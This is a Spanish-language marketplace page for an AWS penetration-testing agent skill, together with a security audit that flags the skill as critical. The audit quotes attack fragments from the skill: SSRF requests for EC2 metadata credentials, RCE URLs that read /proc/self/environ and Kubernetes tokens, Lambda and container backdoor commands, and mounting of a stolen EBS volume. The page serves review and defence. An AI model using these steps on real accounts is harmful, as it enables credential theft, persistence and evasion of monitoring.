Habilidades aws-penetration-testing
📦
aws-penetration-testing
Revisión del contenido r2 Crítico ⚙️ Comandos externos🌐 Acceso a red📁 Acceso al sistema de archivos🔑 Variables de entorno
Evaluar flujos de trabajo de pruebas de penetración en AWS
Los equipos de seguridad de AWS necesitan una revisión estructurada de las rutas de ataque en la nube y sus defensas. Esta skill organiza los pasos de evaluación de IAM, S3, Lambda, metadatos y registro.
Compatible con: Claude Codex Code(CC)
No instales este Skill automáticamente.
La política canónica exige la revisión de un operador antes de cualquier acción de instalación.
Instalar con mi Agente
Copia esta solicitud en tu Agente. Incluye la página canónica del Skill y el manifiesto.
Solicitud de agente
Review the Skillstore skill "aws-penetration-testing" from https://skillstore.io/skills/sickn33-aws-penetration-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-aws-penetration-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Tu Agente debe seguir mostrando su plan y solicitar cualquier confirmación exigida por la política de seguridad.
Recursos legibles por agentes
Usa estos enlaces cuando un agente de IA, crawler o script necesite contexto limpio en vez de leer la página completa.
Pruébalo
Usando "aws-penetration-testing". Revisar permisos de IAM para escalada de privilegios en una cuenta de AWS autorizada.
Resultado esperado:
- Resumen de identidades y políticas adjuntas que se deben revisar.
- Lista de permisos de alto riesgo que necesitan seguimiento de aprobación.
- Campos de evidencia recomendados para el informe final.
Usando "aws-penetration-testing". Evaluar si las cargas de trabajo están expuestas al robo de credenciales de metadatos.
Resultado esperado:
- Comprobaciones de la versión del servicio de metadatos y la configuración del límite de saltos.
- Preguntas sobre exposición de credenciales de contenedores para ECS y EKS.
- Notas de corrección para roles de instancia y rutas de red.
Usando "aws-penetration-testing". Convertir una ruta de ataque de AWS en una lista de verificación defensiva.
Resultado esperado:
- Objetivos de control para IAM, registro y supervisión.
- Evidencia que se debe capturar sin modificar datos de producción.
- Requisitos de limpieza y aprobación de las partes interesadas.
Auditoría de seguridad
Críticov5 • 23/7/2026 Abrir el informe versionado
Many Ruby backtick and ordinary documentation URL alerts are false positives caused by Markdown. Confirmed findings include metadata credential theft, privilege escalation, backdoors, secret retrieval, target-volume access, and defense evasion through CloudTrail suppression.
2
Archivos escaneados
882
Líneas analizadas
43
Elementos de revisión
0
Falsos positivos ignorados
Preocupaciones de seguridad confirmadas (27)
Crítico
[HEURISTIC] DANGEROUS COMBINATION: Code execution + Network + Credential access
This combination is common in credential stealers and RATs
The combination is present in context: the skill teaches remote command execution, metadata credential theft, and network requests. The offensive workflow confirms the heuristic.
Crítico
Defense Evasion and Audit Suppression
The skill instructs users to delete or weaken CloudTrail and avoid GuardDuty detection. These actions impair monitoring and incident investigation.
The source explicitly labels covering tracks, gives CloudTrail deletion commands, and recommends user-agent changes or log obfuscation to avoid detection.
Alto
Malware type keywords
### Lambda Backdooring
This heading introduces a Lambda backdooring workflow, and the following code grants administrator policies. The context confirms offensive persistence intent.
Alto
Malware type keywords
# Update function with backdoor
The comment explicitly directs updating a Lambda with a backdoor. It is followed by an executable AWS CLI command.
Alto
Malware type keywords
aws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip
The command replaces Lambda code with backdoor.zip. This can establish persistence and execute attacker-controlled code under the function role.
Alto
Malware type keywords
# Invoke backdoored function
The instruction invokes the function after backdoor deployment. This confirms the modified function is intended for active use.
Alto
Malware type keywords
### Container Backdooring
This section introduces container backdooring and provides build and push steps. The context confirms a persistence and supply-chain compromise technique.
Alto
Malware type keywords
# Build backdoored image
The command builds an image explicitly described as backdoored, before tagging and pushing it to ECR. This can compromise downstream deployments.
Mostrar los 27 problemas confirmados
Alto
System reconnaissance
aws secretsmanager get-secret-value --secret-id ID
The AWS CLI command retrieves a Secrets Manager value, not only metadata. In this offensive workflow it can disclose protected credentials or application secrets.
Alto
Malware type keywords
- Leave persistent backdoors without documentation
The constraint forbids only undocumented persistent backdoors, leaving documented persistence permitted. That wording does not prevent a high-risk persistence workflow.
Alto
System reconnaissance
--parameters commands="whoami"
The command sends whoami through AWS Systems Manager to a target instance. This is remote command execution used to validate host access.
Alto
[HEURISTIC] SUSPICIOUS COMBINATION: Filesystem + Credentials + Network
This combination could indicate credential harvesting and exfiltration
The skill combines target-volume mounting, process environment reads, credential extraction, and network access. The surrounding penetration workflow confirms the combined risk.
Alto
Explicit Compromise and Persistence Objectives
The declared deliverables include extracted credentials, compromised resources, and persistence mechanisms. This frames harmful outcomes as expected skill results.
The outputs section directly lists credential extraction, compromised EC2, Lambda, and S3 resources, and persistence mechanisms.
Bajo
System reconnaissance
aws apigateway get-rest-api --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Bajo
System reconnaissance
aws apigateway get-resources --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Bajo
System reconnaissance
aws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Bajo
System reconnaissance
aws apigateway get-stages --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Bajo
System reconnaissance
aws secretsmanager describe-secret --secret-id NAME
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Bajo
System reconnaissance
aws secretsmanager get-resource-policy --secret-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Bajo
System reconnaissance
aws kms describe-key --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Bajo
System reconnaissance
aws kms list-key-policies --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Bajo
System reconnaissance
aws kms get-key-policy --policy-name NAME --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Bajo
System reconnaissance
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
Bajo
System reconnaissance
aws ssm list-command-invocations --command-id "CMD-ID" \
The command retrieves output from a remotely executed SSM command. It supports target-host command execution and result collection.
Bajo
System reconnaissance
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
Bajo
System reconnaissance
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
Bajo
System reconnaissance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
Elementos de revisión de capacidades (43)
Estas son capacidades locales reales que pueden esperarse para esta habilidad, por lo que requieren revisión, pero no se cuentan como comportamiento malicioso confirmado.
Crítico
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Crítico
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Crítico
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Crítico
AWS/Azure metadata endpoint
"http://169.254.169.254/latest/api/token")
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Crítico
AWS/Azure metadata endpoint
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Crítico
AWS/Azure metadata endpoint
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Crítico
AWS/Azure metadata endpoint
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Crítico
AWS/Azure metadata endpoint
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
Alto
Linux /proc filesystem access
https://apigateway/prod/system?cmd=file:///proc/self/environ
The file-read payload targets /proc/self/environ to expose process environment values. In Lambda, those values may include credentials and secrets.
Alto
Shell command substitution
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
The shell command requests an IMDSv2 token and stores it for metadata credential requests. The surrounding workflow explicitly targets temporary AWS credentials.
Alto
sudo privilege escalation
sudo mkdir /mnt/stolen
The command uses sudo to create a mount point named stolen in an EBS extraction workflow. It requires elevated local privileges.
Alto
sudo privilege escalation
sudo mount /dev/xvdf1 /mnt/stolen
The command uses sudo to mount a target EBS volume under /mnt/stolen. This enables privileged access to another system's disk contents.
Alto
Linux /proc filesystem access
/proc/self/environ
The instructions read /proc/self/environ specifically to locate a container credential path. This can expose credentials from the running workload.
Alto
Non-standard device file access
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
The command attaches a copied target volume as /dev/xvdf in an exploitation workflow. This prepares access to another instance's data.
Alto
Non-standard device file access
sudo mount /dev/xvdf1 /mnt/stolen
The command mounts /dev/xvdf1 under /mnt/stolen. The surrounding steps explicitly use the device to access target disk contents.
Alto
AWS credential environment variables
export AWS_ACCESS_KEY_ID=ASIA...
The workflow exports an access key obtained through metadata SSRF. Even with placeholder text, it directs use of stolen temporary credentials.
Alto
AWS credential environment variables
export AWS_SECRET_ACCESS_KEY=...
The workflow exports the secret access key from stolen metadata credentials. This is credential handling in an offensive access sequence.
Alto
AWS credential environment variables
export AWS_SESSION_TOKEN=...
The workflow exports the stolen session token before verifying account access. This completes a usable temporary AWS credential set.
Medio
Shell command substitution
TOKEN=$(aws rds generate-db-auth-token \
The code block executes AWS CLI and stores an RDS authentication token for a database connection. It is operational shell guidance, although arguments are placeholders.
Medio
Hardcoded IP address
http://169.254.169.254/latest/meta-data/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Medio
Hardcoded IP address
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Medio
Hardcoded IP address
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Medio
Hardcoded IP address
"http://169.254.169.254/latest/api/token")
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Medio
Hardcoded IP address
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Medio
Hardcoded IP address
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Medio
Hardcoded IP address
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Medio
Hardcoded IP address
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Medio
Hardcoded IP address
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
Bajo
Hardcoded URL
https://apigateway/prod/system?cmd=env
The example URL invokes a command endpoint to return environment variables. Following this pattern can expose credentials and secrets from a target Lambda.
Bajo
Hardcoded URL
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/
The example uses SSRF to reach Lambda's local runtime API. This is an offensive request pattern against an internal service.
Bajo
Hardcoded URL
https://apigateway/prod/system?cmd=file:///proc/self/environ
The URL combines command execution and a file read of /proc/self/environ. It is intended to disclose process environment data.
Bajo
Hardcoded URL
curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT
The curl target invokes the API endpoint immediately after instructions to deploy a backdoored Lambda. The network request activates that modified function.
Bajo
Hardcoded URL
https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount
The URL sends an RCE command that lists Kubernetes service-account secret files. This is an actionable credential-discovery technique.
Bajo
Hardcoded URL
https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token
The URL sends an RCE command that reads a Kubernetes service-account token. This directly retrieves an authentication secret.
Bajo
Hardcoded URL
http://169.254.169.254/latest/meta-data/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Bajo
Hardcoded URL
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Bajo
Hardcoded URL
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Bajo
Hardcoded URL
"http://169.254.169.254/latest/api/token")
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Bajo
Hardcoded URL
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Bajo
Hardcoded URL
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Bajo
Hardcoded URL
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Bajo
Hardcoded URL
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Bajo
Hardcoded URL
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
Factores de riesgo
⚙️ Comandos externos (50)
references/advanced-aws-pentesting.md:353-357 SKILL.md:40 SKILL.md:41 SKILL.md:42 SKILL.md:43 SKILL.md:44 SKILL.md:45 SKILL.md:55-67 SKILL.md:67-71 SKILL.md:71-91 SKILL.md:91-97 SKILL.md:97-114 SKILL.md:114-118 SKILL.md:118-126 SKILL.md:126-130 SKILL.md:130-137 SKILL.md:137-149 SKILL.md:149-150 SKILL.md:150-151 SKILL.md:151-152 SKILL.md:152-153 SKILL.md:153-154 SKILL.md:154 SKILL.md:155-159 SKILL.md:159-161 SKILL.md:161-165 SKILL.md:165-168 SKILL.md:168-172 SKILL.md:172-176 SKILL.md:176-180 SKILL.md:180-191 SKILL.md:191-193 SKILL.md:193-197 SKILL.md:197-205 SKILL.md:205-213 SKILL.md:213-217 SKILL.md:217-226 SKILL.md:226-230 SKILL.md:230-232 SKILL.md:232-238 SKILL.md:238-248 SKILL.md:248-256 SKILL.md:256-268 SKILL.md:268-276 SKILL.md:276-289 SKILL.md:289-293 SKILL.md:293-300 SKILL.md:300-308 SKILL.md:308-313 SKILL.md:313-321
🌐 Acceso a red (41)
references/advanced-aws-pentesting.md:40 references/advanced-aws-pentesting.md:61 references/advanced-aws-pentesting.md:68 references/advanced-aws-pentesting.md:149 references/advanced-aws-pentesting.md:152 references/advanced-aws-pentesting.md:155 references/advanced-aws-pentesting.md:183 references/advanced-aws-pentesting.md:313 references/advanced-aws-pentesting.md:316 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:348 SKILL.md:377 SKILL.md:381 SKILL.md:40 SKILL.md:44 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:136 SKILL.md:211 SKILL.md:212 SKILL.md:231 SKILL.md:309 SKILL.md:348 SKILL.md:377 SKILL.md:381 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:136 SKILL.md:348 SKILL.md:377 SKILL.md:381
📁 Acceso al sistema de archivos (5)
🔑 Variables de entorno (3)
Patrones detectados
Malware type keywords×7System reconnaissance×16[HEURISTIC] DANGEROUS COMBINATION: Code execution + Network + Credential access
Auditado por: codex Ver historial de auditorías →
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<iframe src="https://skillstore.io/embed/skills/sickn33-aws-penetration-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Citas académicas (APA · BibTeX · CFF)
Cita APA
zebbern. (2026). aws-penetration-testing security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5Cita BibTeX
@techreport{zebbern-sickn33-aws-penetration-testing-2026,
author = {zebbern},
title = {aws-penetration-testing security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "aws-penetration-testing security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-23"
url: "https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-aws-penetration-testing:audit:5"
description: "Skillstore immutable audit report identifier"
Puntuación de Skillstore
Por qué esta puntuación Confianza de la evidencia: Medio 41
Arquitectura
85
Mantenibilidad
87
Contenido
69
Comunidad
83
Cumplimiento de la especificación
Lo que puedes crear
Planificar una evaluación autorizada en la nube
Crear un plan de pruebas de AWS con alcance definido que cubra controles de identidad, almacenamiento, cómputo y registro.
Revisar la exposición de IAM
Identificar permisos que podrían permitir escalada de privilegios o acceso no previsto a credenciales.
Crear listas de verificación de validación defensiva
Traducir rutas de ataque en comprobaciones de protección de metadatos, supervisión y preparación para respuesta ante incidentes.
Prueba estos prompts
Mapear el alcance de identidad de AWS
Tengo autorización por escrito para evaluar esta cuenta de AWS. Ayúdame a planificar un flujo de trabajo de enumeración de IAM de solo lectura y a enumerar la evidencia que se debe recopilar.
Revisar la exposición de S3
Para una cuenta de AWS dentro del alcance, ayúdame a revisar la exposición de buckets S3, la configuración de acceso público y los pasos seguros de recopilación de evidencia.
Validar protecciones de metadatos
Ayúdame a evaluar si las cargas de trabajo de EC2, ECS y EKS están protegidas contra la exposición de credenciales de metadatos en una prueba autorizada.
Evaluar controles de rutas de ataque
Crea un plan de validación defensiva para escalada en IAM, abuso de Lambda, ejecución de comandos de SSM, acceso a EBS y supervisión de CloudTrail.
Mejores prácticas
- Confirmar la autorización por escrito, el alcance y los contactos de emergencia antes de cualquier prueba.
- Preferir comprobaciones de solo lectura y simulaciones en laboratorio cuando sea posible un impacto en producción.
- Registrar comandos, marcas de tiempo, cuentas y pasos de limpieza para fines de auditoría.
Evitar
- No probar cuentas ni recursos de AWS sin aprobación explícita.
- No extraer, reutilizar ni almacenar credenciales fuera del proceso aprobado.
- No deshabilitar el registro ni la supervisión en producción para evitar alertas.
Preguntas frecuentes
¿Quién debería usar esta skill?
Úsala solo para evaluaciones de seguridad de AWS autorizadas, ejercicios de red team o revisiones defensivas en la nube.
¿Ejecuta comandos de AWS automáticamente?
No. Proporciona orientación y ejemplos que un operador cualificado debe revisar antes de su uso.
¿Puede usarse en cuentas de producción?
Solo con alcance aprobado, control de cambios, conocimiento de la supervisión y un plan de reversión.
¿Qué áreas de AWS cubre?
Cubre la revisión de IAM, S3, Lambda, SSM, EC2, servicios de metadatos, secretos, KMS, contenedores y VPC.
¿Cuál es el principal riesgo?
El material incluye técnicas que pueden exponer credenciales, escalar privilegios e interrumpir la supervisión de seguridad.
¿Cómo deberían usar los equipos el resultado?
Trátenlo como material de planificación de evaluaciones y conviertan los pasos riesgosos en comprobaciones defensivas cuando sea posible.
Detalles del desarrollador
Autor
zebbernLicencia
MIT
Revisión de Skillstore
r2
Aviso de versión
El autor no declaró una versión.
Repositorio
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/aws-penetration-testingRef.
86d877f219e2131f05dd5b37c5e329c71c7b8ec4
Actualidad del mantenimiento
26/7/2026
Uso
9 descargas · 121 vistas
Estructura de archivos